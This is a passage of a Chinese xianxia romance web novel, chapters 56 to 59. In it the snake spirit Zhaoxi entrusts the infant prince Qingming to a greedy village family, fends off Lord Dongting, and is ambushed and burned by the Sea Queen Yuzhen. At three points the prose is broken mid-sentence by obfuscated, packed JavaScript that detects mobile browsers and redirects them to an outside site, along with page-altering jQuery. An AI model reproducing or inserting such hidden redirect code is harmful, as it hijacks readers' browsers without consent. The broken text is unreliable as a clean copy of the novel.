一面赞美自己,一面往王富贵家走去,凡间事,凡间了,邻居告诉她,王富贵虽然长相油腻,可并不是一个寻常意义上的土财主,他在城里有很多铺子,产业可观,而他能够担任这里的户长,也都是银钱起的作用,朝曦算了算,目前看来,能帮助他们解决困境的只有他家了。 “王户长,钱家的状况你也清楚,这孩子父母不在,成了孤儿已经很是可怜,你总不忍心,叫那些人把他带走吧?你是这里的父母官,是不是能够江湖救急一下?” 想了想江湖救急似乎有些不太妥当,但戏文中说每个人都有一个大侠梦,这样是不是能激起他的侠义之心? 显然朝曦判断失误,王富贵的身材注定了他不会成为一个大侠,而爱财如命精打细算的人,也不会拥有一副侠义心肠。 王富贵首先对她的 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王富贵摸着他的小胡子,微眯着一双鼠目,是个人都能看出他的心思,虽然自己不是人。朝曦冷蔑的弯了弯嘴角,看透并说透:“户长你该不会是想让我当你的小老婆吧?” “哎呀,姑娘不仅漂亮,还聪慧的很呐!那不知你可愿意?” “夫人若是知道了,会同意?” 王富贵的老婆,被村民一致评价为黑心且刻薄,这应该也是王富贵到现在为止,没有任何小老婆的原因。 他身体诚实的一颤:“如果你愿意,生米做成了熟饭,她不认也得认。” …… 来一趟凡间,竟然要被一个凡人占便宜,若是长相英俊也就算了,生就这副样子,实在让人不能忍受。如果可以,她真的想现出本身来吓一吓他,看他还敢不敢这么放肆。 “户长,你要是知道我的本来面目,定然会熄了这个想法的。” “怎么会呢?正所谓牡丹花下死,做鬼也风流,如能……” “王富贵!”一个尖锐声音穿透屋子,王富贵的老婆揣门而入,怒气冲冲的跳到面前咆哮:“你这个老东西,我就知道你色心不死!在老娘眼皮子底下就敢跟这小贱人勾搭,你们当老娘是瞎子不成?” 啧啧啧,这口齿。 “夫人息怒,是这姑娘来求咱们家帮忙,你持家辛苦,我见她聪明伶俐,正好收进来,帮衬你。” “帮衬我?要是让她进来,保不准你们俩合谋害死我!” “是啊,那你以后喝汤吃饭,可要小心啊。”朝曦按住嘴角,努力不让自己笑出来。 妇人见她毫不在意,怒火蹭蹭直上,对着她的脸狠厉的扬起手来,不过不等那巴掌落下,黑团子小篱笆便窜出袖兜,疾快的扎了她几下,妇人嗷嚎声不断,双手捂着脸,缝隙里渗出血来。 “这是什么怪东西?”王富贵吓住,完全想不起来去扶他的夫人。 “也不是什么,就是疼两下,然后扎的地方会长毛毛。” “什么?!”妇人连忙去找镜子,朝曦体贴的递去一只,镜中人的脸上出现了五六处黑斑,已经隐隐长出一些细软的黑毛来。 “啊!” 朝曦抱起清明,准备离开:“打扰二位了,钱的事我会再想别的办法,告辞了。” “姑娘留步,钱的事好说!” 看来王富贵家,做主的还是他老婆。 “只要姑娘你能帮我解了这东西,我愿意不计利息借给你钱!” “我也不是非要从你家借。”人穷志不能穷,她抱起清明,扬着高傲的头颅,像一只胜利的大公鸡一样得意的走掉。 56. 两个孩子 这对夫妇,真的是只有涉及到自身安危时,才会露出那么一丁丁人性。 朝曦并不急,因为她知道这两个人一定会登门来求自己,介于还不知道未来要何去何从,所以她决定暂时先晾着他们。 有些饥饿,顺手从河边捞了些泥鳅和紫苏叶煮了煮,本来还发愁清明的伙食,没想到无心插柳柳成荫,随便煮出来的汤味道竟然十分鲜美,她试着给他喂了几口,见他没有半点排斥,便撒开手放开心的继续喂,而饱了之后,朝曦才想起南溟是非常讨厌泥鳅这种食物的。 “泥鳅美味又营养,真不知道你嫌弃它什么。” 在他不通人事的时候喂了他最讨厌的东西,多少有些担心回去之后他会将自己骂个狗血喷头,不过想想那到底是九十八载后的事了,被这种远虑影响心情,不值,不值。 把剩下的汤喝净后,仍觉得意犹未尽,说起泥鳅汤,还是暮闲的手艺最让人称赞和想念。 将歇一会儿,邻居大姐恰好经过,听说老钱死了后,倒是没有一句悲悯的话,只是对孩子和她表示同情。 “对了,那个戴面具的小伙子,正在十里外的竹林里搭建房子。“ 小伙子?朝曦呵呵一笑:”他早已不是一个小伙子的年岁。” “那有什么关系?生得如此俊朗,年纪大些也无碍。” “不是,大姐,他戴着面具,你是从哪儿看出他俊朗来的?” “那位小哥从哪看都是一等一的人才,倒是姑娘你,不是大姐说你,你的眼光末免太刁钻挑剔了些。” 她怀疑暮闲,贿赂了这位大姐。 “那天看你对他是没有意思的对吧?” 她点了点头:“大姐你有话可以直说。” “那我便开见山了,我家妹子尚未婚配,昨儿个见了那位小哥的风采,便被其所吸引,如果他家中没有妻室的话,我想请姑娘你给牵个线。” “他没有妻室。” “真的?” “只是家中有两个娃娃。” “啥……?” 是的,暮闲是这么说过,他是有孩子的。她印象里是这样,不过是两个还是几个来着?有些糊涂,可更让人糊涂的是他一个没成亲的人,是哪里来的孩子,之前从未细想过,现在想想不免有些好奇。 “没有妻子却有孩子,难道是鳏,鰥夫?” “鳏夫?噗!哈哈哈哈!” 片刻呆滞,忍不住大笑出来,暮闲听了怕是要吐血了。 “我也不太清楚,他是……丧妻还是和离,现在便去找他问问,大姐能不能帮我看顾一下清明?” 一听此话,大姐很乐意的接过了孩子,催促她道:“你快去快去。” “我真的生了一个月老命。”摇了摇头,边念叨边走着,十里路对一条蛇来说算不了什么路程,故而没多久便到了那片青翠茂密的林子,穿过重重竹竿,看到了一个辛勤劳作的身影,他的衣裳颜色幸好深些,否则便要与那群竹子混做一起不好分辨。 暮闲在劈着竹子,而身后已经搭建起了房屋的型架,是一座竹屋么?她心上一沉,一下子勾出那梦里的场景,而他的身影似乎也能够与梦中的男子重合,眼前一切,不得不恍惚。 难道自己一直梦到的,是暮闲? “曦儿?你怎么来了?” “你这是?”她指了指身后的屋架,问道。 “搭房子啊。” “我当然知道你在搭房子。” “你执意要待在凡间陪他,我便只好让你过的舒服些,总不能真的让你住在那陋室里吧?”他少有的认真,丝毫与平时那个轻佻荒诞的他,联想不到一处去。 “你怎么想到在这里搭房子?”她试探问道。 “那个老无赖死了,我本想原地给你翻修一下,但那村子民风彪悍,我怕他们把你给带坏了,所以溜达一圈,便发现了这处竹林。” 言语自然,听起来不像是在说谎,朝曦心中更加奇怪,奇怪那梦的由来,和这竹林的应景。 “这地方,原该有一间竹屋吧。” “你怎么知道?这里的确是一间倒塌废弃的房子。” “呃……暮闲君,你有没有做连续做同一个梦,然后现实里发现真的有梦中这个地方?” 暮闲想了想,一本正经的点了点头:“我有连续做过同一个梦,虽然现实里还未遇到那场景,但我知道早晚会成真的。 “那是什么梦?你怎么这样肯定?” “我梦见我八抬大轿娶你进门,也是在这样一片竹林。” “……” 看着他又复嬉笑的脸,她几乎确定就是他在自己的梦里做了手脚。 “了曦儿,你有没有吃饭?” “吃过了。” “你怎么知道我在这里,我原本打算等房子建好后给你个惊喜。” 暮闲提醒,她才想起自己的来意:“有人托我来给你说媒,不过在这之前,人家要打听下你的情况,毕竟婚姻大事,不可儿戏。上次你说你已经有了孩子,这两个孩子是你亲生的么?他们的娘去哪儿了? 在他脸色唰的沉下之后,二人之间出现了一阵寂静,气流微微凝滞。 “你是不是觉得我的感情不值钱?” “我不懂你的意思,可我知道在凡间,不坦诚的人,钱庄都不会放给他钱。” “我怎么不坦诚了?” “那你说说,你那两个孩子和孩子的娘?” ...... 好不容易树立起的威严就这么破功了。暮闲叹了叹,大有彻底服气的意味。 “关于孩子的母亲,这里面事情太多,不便说。” “有什么不便的?难不成真的像大姐说的,你真的是鳏夫?” “什么?” “凡界称丧夫的女人为寡妇,丧妻的男人是鳏夫。” “……”他抚了抚胸口。 “还是,她绿了你?”试探间,不由打量他那身墨绿,一并连那脸色,都变得绿了些,身处尴尬里,朝曦知道自己又言多必失了。 “我觉得敢绿你的人,绝不会是一般角色,虽然我知道这么问你,是在揭你伤疤,可我真的很好奇,她是谁啊?” “你那么想知道,我只能告诉你,她是一个能把天捅出个窟窿的人,别的无可奉告。”显然,暮闲是想快点结束这个话题。 朝曦分析,他不想说,可能是男人的面子在作祟,试想一个比自己厉害很多的女人绿了自己,这种事怕是几辈子都不想再提起了,自己真是唐突。 “对了,我只跟你说过我有孩子,却从未说过有两个,这个你是怎么知道的?” “呃,你没有说过么?” “没有。”暮闲语气肯定。 “那可能就是传言,你知道,有时候传言比实际发生的还要精彩。” 这他是可以想象的,毕竟乌榆林里的一众妖灵精怪们,没什么出挑的本事,八卦闲话却擅长的很。 说话日头站到了上空,已经是正午,纵有茂竹遮挡也抵不住这份暑气,何况是在大太阳底下施工,何况施工的人他也是一条蛇。 “就快到端午了,可真是热啊。”朝曦寻了一块半人大的石头,躺下。 “是啊,若是道行浅些的,该是要现原形的。”一身单衣的暮闲仍然是通身墨绿,他抗着劈好的竹子来来回回,浑身已经被汗水浸透,而朝曦,躺在石头上已经快要睡着。 “你既然来了,也没什么事,过来帮我一把吧。” “我昨天连夜埋了老钱,又做了一整夜的梦,几乎没怎么睡。”她支撑着沉重的眼皮:“我正想问你,你为什么舍近求远,不用法术而非要用人力来搭这房子呢?不是说只要不干涉凡人气运,是不会反噬的么?” “若什么都用法术,怎么显得真心可贵?你知道想打动一个铁石心肠的人,是极不容易的。” 这话里有话意有所指的,谁还听不出来?朝曦哼了一声,漫不经心道:“铁石心肠的人要睡了,你用功吧,对了,你的真心可捂好了,别叫太阳给晒化了。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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醒来已见暮色,朝曦着急忙慌的将暮闲打发走,便取出短箫吹了吹,尽管自己不通乐理吹得乱七八糟,若飞还是应声出现了。 “改日我一定好好学一学乐理,不过现在有一件要紧事,想请教姐姐。” “无妨,你只说便是。”若飞柔声道。 “这方土地说,我自身的妖气会冲撞我那位下凡朋友的气运,他的父母便是因为我的干预提前过世,是这样吗?” “也是,也不是。” “怎么说?” 鹅黄纱袖子抻出三根水葱指,掐算一番说道:“凡人的寿命都是有定数的,有句话叫阎王让你三更死,谁敢留你到五更?当然了,二更也是不行的。所以即便你不出现,他们也会定时定格的离世,是因为你这位朋友的身份太强,他们消受不了。” “真的吗?” 她点了点头:“只是你身带妖气,虽没有施术逆转人事,但会招来妖魔对命主不利,也多少会冲撞他的凡运致使其脱离原来的轨迹。” “看来章白说的是真的。”朝曦神色失落。 “土地履行自己的职责,也是没错。你若不放心,大可以离他远一点,三不五时的来照看一番便是。” “这样便不会冲撞了吗?” “待他十六岁长成后,便不那么严重了。不过朝曦你要牢记,万万不可与之有肌肤之亲,否则你二人必遭反噬,轻则天谴,重则散尽修为化为烟缕。” “为什么?以往我们常常勾肩搭背的,也没见有什么异常啊?” “……” “你可能对肌肤之亲,欠缺一些理解。总之你记住我说的。” “我还是不太明白,反噬为什么会这么重。” 若飞有些泄气,对一个不开窍的人,大约只能用最直白的语言才能顺利沟通吧。“自古仙妖交好是为逆天之举,不能为天地所容。” 看着她脸上的温柔逐渐消失,严肃冰冷,朝曦不禁一颤,胸腔里的那颗心,也像被藤条勒紧一般,喘息不周。天地不容,这是她最耳熟不过的一句话了,有时,她真的觉得造物待自己不怎么公平。 57. 小人行径 返回去已经夜深,跑下山坡时远远看见村子里呈出一团青光,观察位置似乎是在老钱的房子,随着上空的黑云密集,朝曦意识到不妙,来不及多想,运起那不太熟练的飞行术,急忙朝村子飞去。 一段路摔了四五个跟头,将将着地时又不知跟什么碰了个照面,生生打在鼻梁骨上,头晕目眩间,听见一阵喊叫,闻声是个老朽。 “土……山神,劳烦您走路看着些好么!” 章白定了定,看见是朝曦,竟不是梦里那般嫌弃的模样,反是一种找到救星的欣喜:“你来了便好,快随我去!” “唉?你等等,这是什么情况?” “有妖魔来犯,意图谋害殿下,我仙术低微抵御不住,奏请上仙是远水解不了近渴,为了殿下安危,也只能请你了!” “你是想请我当替死鬼?你这老头真是够势力的。” “护住殿下就是功德一件,抵过你苦修多少年。” “呵,难道我是为了这点功德跑来找死?” 章白被反驳的无言以对,而朝曦不过是对他这种有所图谋的想法有意见,说话间脚速更加疾快,她生怕手无缚鸡之力的清明被那个妖怪害了。 章白追的吃力,他意识到自己有些小瞧了这只小妖,二人飞奔进村落,各家都已经熄灯闭户,唯有邻居大姐家,环着朦朦青雾。 朝曦推门进去,邻居大姐的丈夫重伤昏迷,而她抱着清明蜷缩在墙角,瑟瑟发抖,来者是一个黑缎长衫的男子,他手持长剑正要下手。 昏暗里察觉一丝熟悉,来不及多想,随手幻出一小朵白棱攻向那人,黑衣身手敏捷,毫不费劲的避开,被白棱击中的墙壁,瞬间成冰。 “少主?” 原来是他,怪不得章白打不过。“洞庭君,你这是在干什么?” 洞庭看了一眼墙角不停啼哭的婴孩,转又盯着面带怒容的朝曦,质问道:“我倒想问,少主在做什么?” 一旁的章白听到少主二字,脸色一惊,但看到洞庭君的态度和语气,只以为她是哪个山头的什么少主,便也不当回事。 “维护殿下是我始终的坚持,洞庭君何必明知故问?不过,你是怎么知道殿下在这儿,是姑姑派你来的?” “姑姑正在闭关。” “是暮闲告诉你的?” 神仙下凡转世,都是隐去神息的,为的是防止亲朋好友和对家对命主这一世有所干扰,自然,落户的位置也是秘密,所以对于既不能掐算,又不得内情的姑姑和洞庭君,她当然要怀疑暮闲,毕竟他知道的一清二楚,不过话说回来,暮闲又是如何得知的? 他冷哼一声,似是默认。朝曦后悔相信暮闲,心中暗暗将其骂了一顿,默默绝交。 “你们这群人,为什么就是不肯放过殿下?先妖王与应龙旧怨,那是上一代的事,你们有本事去寻本尊讨杀讨伐,跟他儿子这没完算什么?还是,你们没本事杀应龙,只能行此下策?” 洞庭君眉头蹙的更深,没一会儿脸色憋的通红,显然是真的动了气,他酝酿了半天,也只能老生常谈的呵责道:“你是未来的妖界之主,言行举止如此任性,这般胡作非为如何带领……” “停!”她极不耐烦,厉声喝止:“我会找到证据,证明我不是你们的什么少主,在此之前,谁也不许动殿下一根汗毛!” “呵,少主越这么说,我越要除了他,你断了念想,便不会再执着于他,冥顽不灵了!” 话音落地,那黑缎身影回身一旋,衣袖飞出几道水箭向墙角的清明射去,朝曦即刻幻出白棱将水箭悉数冻住,干脆利落,精准无误。 洞庭君敛藏好眼中的惊讶,继续回击,朝曦脑中快速过着对策,因为她非常清楚,凭自己这三脚猫的功夫根本挡不了多久。 她侧面朝章白施了个眼色,让他先带清明走,可老头只顾惊叹二人的斗法,完全没反应过来,朝曦只能大喊:“老伯,你再看下去就失职啦!” 想杀南溟,这无疑是最好的机会,洞庭君势在必得,怎会眼看他将孩子带走,凭他的修为逼退朝曦,再抢过孩子根本不是问题,他只手对付朝曦,另一手则继续攻击抱着孩子左闪右避的章白,一只水箭,一簇白棱,初起朝曦还能勉强应付,但随着洞庭君发狠,水箭的越来越快,越来越密集,几乎就要箭无虚发的打中二人,她的眼睛看不过来,就算看过来,也没有再拦截的本事。 本事就这点本事,无计可施很是慌张,朝曦咬了咬牙,心想只要不让他继续出招便没问题了,于是一不做,二不休,她蓄力冲上前去,用自己不怎么健硕的身体重重的撞上了同样不怎么健硕的洞庭君,办法虽然粗鲁,但是十分奏效,摔倒在地的洞庭君,自然没办法再去攻击他们,章白趁势卷了清明不见,朝曦这才松了口气。 “你!使这粗鲁卑劣招数,乃是小人行径!” “随便你怎么说。”她龇牙咧嘴一笑,毫不在乎他说了什么。 “你……” “我,我有些累了,就不留洞庭君晚饭了。” 洞庭君脸上的青绿始终不曾消退,那鲜活的颜色一如洞庭湖畔的荷叶,青翠欲滴。 朝曦料得章白将清明带去了山神庙,于是便不那么着急,她为邻居大哥疗了疗伤,又安抚了邻居大姐,便准备往山上去。 行路途中,有两三只山猫精相继偷袭,连日操劳加上适才斗法耗费许多,她已经没什么力气了,面对凶恶的猫精,她丧失耐心的现出本身,回以更加凶恶,凶神恶煞的脸,轻松将它们吓退。 脑中过着刚才发生的一切,看来若飞说的很对,自己留在他身边只会害了他,该怎么办呢?对了,寄养,这是她目前唯一能想到的办法了,可这个村子有能力收养他的,好像只有王富贵家。 准备去跟章白商量一番,如果他也同意,此事就定了。到达山神庙时,发现这里离暮闲搭的竹屋很近,章白躲着,确定是朝曦后才敢出来,而这时,天色已经见明。 “没办法,上了年纪的人胆小很多,不比你们年轻人,一腔热血,无惧无畏。”章白嬉笑道。 “有时候胆量同年纪关系不大。” “你到底是谁啊?我听那人方才唤你少主,莫非你便是那个让天界皱眉的妖星?” “怎么,我很让天界头疼吗?” “头疼?你太小瞧自己了。” “那是怎样?” 他摇了摇头:“芒刺在背,如鲠在喉,一点都不夸张。” 这两个词是不是意味着,天界很快就要对自己动手了?朝曦心底一阵慌,面色隐忧惆怅。 自知失言,章白慌忙捂住嘴。“今日的事我已经禀报了,只是上面还没有指示,眼下该怎么办呢?殿下凡人之躯总不好一直跟着我们。” 凡体本弱,不论是仙气还是妖气,都难以消受,朝曦点了点头,将自己的打算告诉了章白:“王富贵两夫妻虽然为富不仁,但眼下别无他法,也只有他家了。” “可那两个,能够善待殿下吗?要说心肠好,老钱的邻居夫妇可做第一人选。” 朝曦不是没想过,只是实际情况来讲的确是王宝贵家更合适些。“大家夫妇命数薄弱,消受不了殿下的光临,而王家祖荫极好,殿下在那儿至少可平安成长,你放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049950|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,我会好好交代他们一下的。” “如此甚好。” 朝曦嘱咐章白在半个时辰后将清明送去王富贵家,而她自己一溜烟蹿了过去,见到王富贵老婆时,已经是满脸黑毛,犹如野猪,看到她再没了平日里嚣张的气焰,刻薄的模样,除了想笑,便只想夸赞小篱笆法术高明了。 轻轻拍了拍兜里绵软乖巧的小团子,低声语道:“这种整人的法术十分不错,得空时你也教一教我。” “姐姐学它做什么?”小篱笆同样低声。 “就是那个鲛人族的潦清,我看她是没有一日不想算计我,可能是闲来无事?或许脸上长些毛毛,她便再没心思跟我过不去了。我是不是很坏啊?” “没有啊,以眼还眼,以牙还牙,此乃人之常情。不过姐姐不需要学这个,有我在,不会再让她伤害姐姐的。” 声虽小,口气却大的很,如若不是亲眼见过这小东西的本事,定会以为他是在吹牛。话说回来,小篱笆擅变幻精法术,轻松将潦清扔出乌榆林,可见能力不浅,之前没有琢磨过,如今细细想想,他小小年纪便这样厉害,绝不是寻常小精小怪。 她忽然想到,又快到十五月圆了。 “看来我们真得躲一躲了,否则这一村子人都得叫你给吓死。” “等我长大就好了。” 朝曦复又拍了拍他,脸上挂着浅浅笑意。王富贵夫妇看着她自言自语后又露出无名笑容,心下腾起森森恐惧。 “我俩有眼不识泰山,得罪了姑娘,还望姑娘高抬贵手,解了我身上这法术,我夫妇愿替姑娘还了钱家的债务。” 二人恳求诚挚,姿态低到尘埃里。 朝曦端起茶盏,缓缓送入嘴边,摆了生平头一遭谱,“你觉得我这么是想敲诈你的钱财的?”她摇了摇头,凡人啊凡人,视钱如命果然是说的他们。“放心好了,你那些钱连本带利,我都会还的。 "那姑娘有何要求?我们能办到的一定办到。” “我有些原因,不能亲自照养清明,你家大业大,仆人又多,照养个孩子应该没什么难处吧?” 二人相视眼,两张面庞充满了疑惑。 “不行么?” “不,不是不是。”王富贵被他老婆连掐带扭下连忙应承:“一个孩子而已,我们能照顾,能照顾。” “而已?.....”不知什么时候,朝曦自己觉得也变得絮叨许多,看了看眼前这两个人,千言万语却说不出来,只能言简意赅语重心长:“我只能告诉你,这小孩儿造化不凡,你若善待他,定有一番福报,反之……” “反之什么?” .....话欲脱口,忽然想到若飞说过不能干涉凡人气运,那么恐吓凡人,也是不行的,于是她便收敛说道:"会坠入畜牲道。” 王富贵紧张的神色有所松懈,朝曦没有察觉,也没有捏准他的软肋,她并不太了解人性,凡人们只顾今生富,从不管来世苦。 “我们夫妇定照顾好这孩子,姑娘放心就是了。” 朝曦放下一丸解药,便将清明交给了王富贵的管家。看着襁褓中瘦小的清明向自己天真一笑,这些时日积攒的疲惫转瞬不见,脸上不觉眉舒目展,也漾出灿烂笑容来。 "殿下,你好好成长,我每隔段时日便来看你,到你十六周岁时,我便能日日保护你了。” 管家抱走清明,她心中不舍,担忧,转头便叮嘱暗处的暗白:“虽处凡界,可我知道殿下身边不会太平的,老伯您千万得打起精神,好好履职,否则殿下出了事,你这条老命可保不住了。” “那是,那是。” 58. 庚酉 从卧龙山出来,本想大睡一天休整,可债台高筑,总是睡不沉,看来老赖也不是谁都能当的。尚在夜里时,她便动身去寻找庚酉踪迹,想着庚酉也是有些宝贝在身上的,先向他借一些填补了这些凡界的窟窿,顺便把宝芝赎出来。 话说乌榆林虽小,除了自己以外,大伙儿都很有家当,她不太明白他们的财富从何而来,只是渐渐清晰,自己也该学习一下生财之道了,毕竟钱到用时方恨少。 凡界气息混浊,探了几次都未寻到庚酉的踪迹,于是便在一家面馆歇脚,正大口吞着面,一个身姿曼妙的女子坐在了她的对面,与她起的,还有一位姿态优雅的妇人。 “这天气,当真变幻莫测,方才还睛着,这会儿便乌云密布了。” “看来要有一阵大雨。”妇人捏着帕子抵在鼻前。 “看这位姑娘,胃口可真是好呢。” 朝曦抬眉看了看,粗略将最后一口吞入腹中,袖子极自然的擦了擦嘴:“饱腹是天底下头等重要的事,对待饭菜,我们应该给予十分的热情和尊重。” “这套理论,我还是头一回听到过。” “听二位的口音不像本方人氏?”其实她是觉得,这语调隐隐有些熟悉。 “我们正在游历,途径此地有些疲累,便歇上一歇。” 妇人侧眉打量着她,脸上露出浮萍一笑,意味不明。 “咱们走吧。” 二人一起身,女子的兜里掉出一只彩羽坠子,朝曦两步走过去捡了起来,虽然一向不怎么机灵,但对财宝一类却是格外敏感,只一眼便认出是庚酉的随身配饰。 “冒昧问一句,夫人这坠子是哪里得的?” “是一位小哥送的。” “小哥?是什么样的小哥?” “怎么,姑娘认得那位公子?” 她点了点头:“二位说的,极有可能是我走失的同伴。” 女子看出她神情急切,便据实相告:“唔,那位公子生得神韵风雅,他身上还有一把羽扇,昨日傍晚我们经过一片林子时见他受了伤,咱们夫人略通岐黄之术,替他医了伤,他为表谢意,便送了咱们这个。不知可是姑娘要找的人?” “正是他,可他怎么会受伤呢?他伤的重不重?二位可知他现在去了哪儿?” “看着像是与人激烈搏杀过的样子,你放心好了,咱们夫人医术高明,是医好了才叫他走的,看他所行的方向,好像是往山郊那边去了。” 朝曦重重点头,心中登时不安起来,要知道庚西对凡界的了解无人能比,行事十分小心,受伤在以往是没有过的,这次到底是出了什么事呢? “多谢二位相告,我先告辞了。” 不等两人说话,她便一溜烟跑了,来到山郊时,没了人烟,原本很容易能探查到庚酉的气息,而她几次探查,都没有感知到半分他的气息,而这时上空已经黑云压境,眼看就是一场骤雨疾风。 隐隐感觉到不妙。 此刻她拿出那只彩羽坠子,一股浓厚的血腥之气漫上鼻息,心中察觉出危险,可她知道,已经晚了。 自己的身后,站了两个强劲的对手,如果没有猜错,正是为她指路于此的那两位。 她转过身,看着她们阴鸷的笑容默默变幻,两双面孔由陌生变作熟悉,一个华贵雍容,神色满是轻蔑不屑,一个矫柔做作,双目中杀意浓重,原来是虞贞和凝歌。 “堂堂南海海后,竟然使诈诓骗,可真是光明磊落啊。”朝曦知道在劫难逃,所以也不再迎奉示弱,做小伏低。 “对一个妖孽,讲什么道德呢?”凝歌脸上得意畅快,似乎等这一天已经很久了。 “你们把庚酉怎么了?” “你说那只鸡精么?却也没怎么,只是咱们海后随便几招,他便受不住逃了,想来此刻,已经魂销魄散了吧。” 惊悸下双手不觉颤抖,此刻她感觉一道气流直涌百会。“你们心肠狠毒至此,也算是神仙么?” “神仙的怜悯慈悲是给人的,你们这等精怪,天界能容你们存活世上,便是极大的恩赐了,若安分守已尚有你们一席之地,偏有你这样不知羞耻,诱感殿下,意图不轨,断不能容!” 慈悲只对世人,妖,没有资格。这样的话她真的听的耳朵都要起茧了。 “诱惑?凝歌,我们俩个,到底是谁企图诱惑殿下?” 凝歌脸上一寒,心虚下目光不由偷偷看向虞贞。而那华美的脸上明显不悦,让人轻易看出,只要不是她所认可的人,觊觎她的儿子,皆是罪过。 “你胡说什么?”恼羞成怒下,凝歌施出几道水箭。朝曦退了几步,闪避躲过,昨天才与洞庭君交过手,要知道,他的水箭不论速度还是力量,都比这位鳌族大小姐强的不是一星半点,故而朝曦应对起来并不费力。 凝歌见势微微怔住,她没想到这短短时间里,这条蛇的进步如此神速,水箭奈何不了她,便只好再施他法,而朝曦并不等她,间隙反攻,双手掌心极快的聚出小朵白棱,飞射出去,若无悬念,凝歌必定命丧此术之下,但上空飞来一道银朱光矢,将所有白棱击碎,尚不等她反应,那光矢又起,落在地上打出火坑,草叶焚成灰烬,朝曦被光矢擦过手臂,皮肉燎伤。 以往这个时候她早就怂了,此次大概是庚酉的死,让她心里信念格外坚定,明知取胜无望也决意不肯不服输,她继续运术,可这些在虞贞面前,根本不够看,毕竟她是南海海后,毕竟她曾跟着应龙多次征战。 虞贞凌厉的悬于半空,看着自己的伤兵败将:“妖界少主,我当是什么厉害人物,原来就这点小小伎俩,看来妖界已经无用至此了,也不知道天界在忌惮什么。” “海后选在殿下下凡的时间动手,真可谓是明智之选。” “南溟被你这妖孽蛊惑,我取这时间不过是为着我们母子情分,否则灭你神魂,瞬息而已。” “蛊惑?”既然要扣帽子,索性就扣实好了。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097574|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我与殿下真心实意,怎么能说是蛊惑呢?如果互许终生忠贞不二也算是蛊惑的话,那么海后娘娘,你该很羡慕我,毕竟你的夫君应龙神君实在有些多情。” “你!妖孽,我今日必要叫你魂飞魄散!” 说话,数道银朱光矢并发,朝曦逆向躲避,穷尽全力下速度已经是快无可快,衣衫皮肉在擦撞中倏忽生起火苗,须臾蔓延成大片火焰,她想运术熄火,可干扰下根本不能聚神,慌乱疼痛下看到不远处有方小湖,便朝那奔去,而虞贞看着她的败势,窘迫,惶惶,仍无放松之意,趁势而持续出招,她的确是个擅战的人。 光矢落到身上,灼烧之痛不只附于皮肉,术的炙热焦燥沁入骨髓,真正五内焚烧。还没走到湖边,便已经倒在地上打滚攀爬,油煎火燎一般。 虞贞莫不得意,而远处一棵歪脖树后三个身影显形,看着朝曦死去活来痛不欲生,洞庭君脸上露出少许不忍,暮闲神色焦灼再坐不住,而当他要去出手救她时,玄霜却狠心阻拦,脸色一派淡然道:“放心,她死不了。” “可虞贞的韶光矢,是连穷奇都退避三舍的高强法术,朝曦她怎能受的了?” “总是这样无忧无虑,焉能堪当大任?是要吃一些苦头,才能顿悟。” “可这……” “暮闲君,就听姑姑的吧。” 三人的注视下,朝曦的挣扎越来越慢,几乎是奄奄一息,凝歌抑制不住心中的畅快,道:“娘娘,不必跟她纠缠,赶紧了结了她吧。” 虞贞很听劝,立刻运术,而当那韶光矢初现时,似被拦腰截住,上空的流云,明闪,周边的草木,沙砾瞬间凝固,一切如同在洞庭湖那日,万物全部静止。 思想意识复苏时,虞贞和凝歌已经不见,朝曦躺在一处荒野,全身不能动弹。上空的烈日散发着炎炎暑气,本就怕热又经过烈焰灼烧过的她,觉得自己就快变成了一条蛇干。 要是能下些雨该多好啊。 她的嘴巴轻轻开合,撕裂出几道口子,溢出鲜红的血来,疼痛自中了韶光矢后一刻没有停止过,皮开肉绽,钻心入肺,痛彻骨髓,经历这么多的疼痛,她想不通自己为什么还活着,只是清晰自己的处境,等死,现在的处境只有等死。“庚酉......”双唇开合,几乎发不出任何声音。 “姐姐,姐姐不要睡。” “小……篱笆?”嗓子已经被烧坏,嘶哑下勉强说出来的话,根本听不清楚。 受火势牵连,黑色团子的绒毛被灼烧干净,现下已经变的光秃秃,他跳出袖兜,走到朝曦身前:“姐姐再撑一撑,夜晚就月圆了。” “我……撑,不了了。”她闭上眼睛,因为疼,不想再多说一个字。 小篱笆看着昏迷过去的她,焦急难过,伤心着,一双鱼白的眼睛滑出两行黑色泪水来,他伏身哭着,天际再次涌上黑云,不一会儿大雨倾盆而下,雨水竟是黑色的雨水。 虽有怪异,但一条命,到底保住了。 59. 熄念 天有异象,必出妖孽。 凡界一场黑雨,引的各路仙道惶惶不安,天界慎重其事,已将范懿和应龙请来坐镇。 子时月圆一到,那黑绒团子迅速幻成丈高巨物,小心捧着脆弱的朝曦,缓缓前行,一步一个脚印。行路一夜,山林尽毁,就在天界看到它将要出兵时,小篱笆在一阵鸡鸣后恢复了那小小模样,气息具敛,是以,不管是天仙,还是仙道,皆扑了个空。 